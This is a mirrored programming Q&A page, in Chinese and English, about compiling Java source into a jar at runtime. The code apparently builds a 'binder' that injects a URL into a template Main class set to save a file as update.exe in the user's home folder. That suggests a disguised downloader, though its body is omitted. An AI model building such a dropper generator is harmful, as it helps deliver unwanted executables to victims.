Java以编程方式编译jar [英] Java programmatically compile jar

查看:29
本文介绍了Java以编程方式编译jar的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我在文本文件中有 java 源代码.必须在源代码中输入一些自定义的硬编码变量,然后将其转换为 jar.这有效,但是当我运行 jar 时,找不到 Main 类.

I have java source code in a text file. There has to be entered some custom hard coded variables into the source code and then it has to be turned into a jar. This works but when I run the jar, the Main class can not be found.

当我用 WinRAR 解压 jar 文件时,我似乎找不到错误.

When I extract the jar file with WinRAR, I can't seem to find an error.

当我通过 cmd 运行生成/提取的类文件时,我收到错误:无法找到或加载主类 Main"

When I run the generated/extracted class file via cmd, I get "Error: Could not find or load main class Main"

生成的清单:

Manifest-Version: 1.0
Main-Class: javabinder.Main

源代码:

public class JarOutStream extends  Thread{
    public static final String HOME = "/javabinder/";
    public static String url;
    public JarOutStream(String text) {
        url = text;
    }

    @Override
    public void run()
    {
        try {
            //Read file and place the URL
            BufferedReader br = new BufferedReader(new InputStreamReader(getClass().getClassLoader().getResourceAsStream("./net/sharpcode/binder/data.txt")));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null)
            {
                if(line.contains("#URL#"))
                    line = line.replace("#URL#", url);
                sb.append(line);
                sb.append("
");
            }
            br.close();

            JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
            DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
            JavaFileObject file = new JavaSourceFromString("Main", sb.toString());
            Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
            CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);
            boolean success = task.call();
            if(!success) {
                JOptionPane.showMessageDialog(null, "Error while compiling.");
                return;
            }
            //Create the jar and add the compiled java file
            Manifest manifest = new Manifest();
            manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0");
            manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, "javabinder.Main");
            JarOutputStream target = new JarOutputStream(new FileOutputStream(new File(HOME + File.separator + "output.jar")), manifest);
            String path = Bootstrapper.class.getProtectionDomain().getCodeSource().getLocation().getPath() + "Main.class";
            System.out.println(path);
            //Error with the path I guess.
            add(new File(path), target);

            target.close();

            JOptionPane.showMessageDialog(null, "Completed!");
        } catch (Exception ex) {
            System.out.println("Error : " + ex.toString());
            ex.printStackTrace();
        }
    }

    private void add(File source, JarOutputStream target) throws IOException
    {
        BufferedInputStream in = null;
        try
        {
            if (source.isDirectory())
            {
                String name = source.getPath().replace("\", "/");
                if (!name.isEmpty())
                {
                    if (!name.endsWith("/"))
                        name += "/";
                    JarEntry entry = new JarEntry(name);
                    entry.setTime(source.lastModified());
                    target.putNextEntry(entry);
                    target.closeEntry();
                }
                for (File nestedFile: source.listFiles())
                    add(nestedFile, target);
                return;
            }

            JarEntry entry = new JarEntry(source.getPath().replace("\", "/"));
            entry.setTime(source.lastModified());
            target.putNextEntry(entry);
            in = new BufferedInputStream(new FileInputStream(source));

            byte[] buffer = new byte[1024];
            while (true)
            {
                int count = in.read(buffer);
                if (count == -1)
                    break;
                target.write(buffer, 0, count);
            }
            target.closeEntry();
        }
        finally
        {
            if (in != null)
                in.close();
        }
    }
    class JavaSourceFromString extends SimpleJavaFileObject {
        final String code;
        JavaSourceFromString(String name, String code) {
            super(URI.create("string:///" + name.replace(".","/") + Kind.SOURCE.extension),Kind.SOURCE);
            this.code = code;
        }
        @Override
        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return code;
        }
    }
}

包含java源代码的文本文件:

The text file containing the java source code:

import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;


public class Main
{
    private static final String LOCAL_LOCATION = System.getProperty("user.home") + File.separator + "update.exe";
    private static final String URL = "#URL#";

    public static void main(String args[]) throws Exception
    {
       //CODE (no compile errors)
    }
}

<小时>

更新:按照建议,我现在使用 JavaCompiler 类.哪个有效,但我仍然无法将其放入罐子中.


Update: As suggested, I'm now using the JavaCompiler class. Which works, but I'm still having issues with putting it in a jar.

推荐答案

如何使用 JavaCompiler

这篇关于Java以编程方式编译jar的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆